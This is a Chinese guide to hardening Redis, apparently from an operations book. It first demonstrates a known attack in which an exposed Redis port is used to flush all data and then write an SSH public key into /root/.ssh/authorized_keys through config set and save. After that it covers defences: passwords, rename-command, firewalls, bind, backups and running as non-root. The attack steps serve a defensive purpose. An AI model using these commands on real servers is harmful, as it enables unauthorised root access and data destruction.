image.png

模拟攻击过程:

  1. 首先确认当前 (攻击前) 机器 A 不能通过 SSH 访问机器 B, 因为没有权限:
  1. #ssh root@123.16.xx.182
  2. root@123.16.xx.182's password:
  1. 由于机器 B 的外网对外开通了 Redis 的6379端口, 所以可以直接连接到 Redis 上执行 flushall 操作, 注意此时破坏性就已经很大了
  1. #redis-cli -h 123.16.xx.182 -p 6379 ping
  2. PONG
  3. #redis-cli -h 123.16.xx.182 -p 6379 flushall
  4. OK
  1. 在机器 A 生成公钥, 并将公钥保存到一个文件 my.pub 中

image.png

  1. 将键 crackit 的值设置为公钥

image.png

  1. 将 Redis 的 dir 设置为 /root/.ssh 目录, dbfilename 设置为 authorized_keys, 执行 save 命令生成 RDB 文件
  1. 123.16.xx.182:6379> config set dir /root/.ssh
  2. OK
  3. 123.16.xx.182:6379> config set dbfilename authorized_keys
  4. OK
  5. 123.16.xx.182:6379> save
  6. OK
  1. 此时机器 A 再通过 SSH 协议访问机器 B, 发现可以顺利登录
  1. [@zw_94_190 ~]# ssh root@123.16.xx.182
  2. Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192

登录后可以观察 /root/.ssh/authorized_keys, 可以发现它就是 RDB 文件:

image.png

Redis 的设计目标是一个在内网运行的轻量级高性能键值服务, 因为是在内网运行, 所以对于安全方面没有做太多的工作, Redis 只提供了简单的密码机制, 并且没有做用户权限的相关划分。

12.3.1 Redis 密码机制

1. 简单的密码机制

requirepass 配置

Redis 提供了两种方式访问配置了密码的 Redis:

  • redis-cli -a
  1. # redis-cli – h 127.0.0.1
  2. 127.0.0.1:6379> ping
  3. PONG
  • auth
  1. # redis-cli
  2. 127.0.0.1:6379> auth hello_redis_devops
  3. OK
  4. 127.0.0.1:6379> ping
  5. PONG

2. 运维建议

  • 密码要足够复杂 (64个字节以上), 因为 Redis 的性能很高, 如果密码比较简单, 完全是可以在一段时间内通过暴力破解来破译密码
  • 如果是主从结构的 Redis, 不要忘记在从节点的配置中加入 masterauth (master 的密码) 配置, 否则会造成主从节点同步失效
  • auth 是通过明文进行传输的, 所以也不是100%可靠, 如果被攻击者劫持也相当危险

12.3.2 伪装危险命令

1. 引入 rename-command

危险命令:

  1. keysl: 阻塞
  2. flushall/flushdb: 数据丢失
  3. save: 阻塞
  4. debug: debug reload 会重启 redis
  5. config: 应该给管理员使用
  6. shutdown: 停止 redis

设置 flushall:

  1. rename-command flushall jlikfjalijl3i4jl3jql34j
  2. 127.0.0.1:6379> flushall
  3. (error) ERR unknown command
  4. flushall

2. 没有免费的午餐

使用了 rename-command 时可能会带来如下麻烦:

  • 管理员要对自己的客户端进行修改
  • rename-command 配置不支持 config set
  • 如果 AOF 和 RDB 文件包含了 rename-command 之前的命令, Redis 将无法启动
  • Redis 源码中有一些命令是写死的, rename-command 可能造成 Redis 无法正常工作

3. 最佳实践

  • 对于一些危险的命令 (例如 flushall), 不管是内网还是外网, 一律使用 rename-command 配置
  • 建议第一次配置 Redis 时, 就应该配置 rename-command, 因为 rename-command 不支持 config set
  • 如果涉及主从关系, 一定要保持主从节点配置的一致性, 否则存在主从数据不一致的可能性

12.3.3 防火墙

可以使用防火墙限制输入和输出的 IP 或者 IP 范围、端口或者端口范围.

12.3.4 bind

1. 对于 bind 的错误认识

很多开发者在一开始看到 bind 的这个配置时都是这么认为的: 指定 Redis 只接收来自于某个网段 IP 的客户端请求。但事实上 bind 指定的是 Redis 和哪个网卡进行绑定, 和客户端是什么网段没有关系.

查看网卡信息:

  • ifconfig 命令

image.png

如果当前 Redis 配置了 bind 10.10.xx.192, 那么 Redis 访问只能通过 10.10.xx.192 这块网卡进入, 通过 redis-cli –h 220.181.xx.123 –p 6379 和本机 redis-cli –h 127.0.0.1 –p 6379 都无法连接到 Redis。会收到如下操作提示:

  1. # redis-cli – h 220.181.xx.123 – p 6379
  2. Could not connect to Redis at 220.181.xx.123:6379: Connection refused

Redis3.0 中 bind 默认值为””, 也就是不限制网卡的访问, 但是在 Redis3.2 中必须显示的配置 bind 0.0.0.0 才可以达到这种效果.

2. 建议

  • 如果机器有外网 IP, 但部署的 Redis 是给内部使用的, 建议去掉外网网卡或者使用 bind 配置限制流量从外网进入
  • 如果客户端和 Redis 部署在一台服务器上, 可以使用回环地址
  • bind 配置不支持 config set, 所以尽可能在第一次启动前配置好

12.3.5 定期备份数据

定期备份持久化数据是一个比较好的习惯。

12.3.6 不使用默认端口

能够在一定程度上降低被攻击的概率。

12.3.7 使用非 root 用户启动

root 用户作为管理员, 权限非常大。如果被入侵者获取 root 权限后, 就可以在这台机器以及相关机器上“为所欲为”了。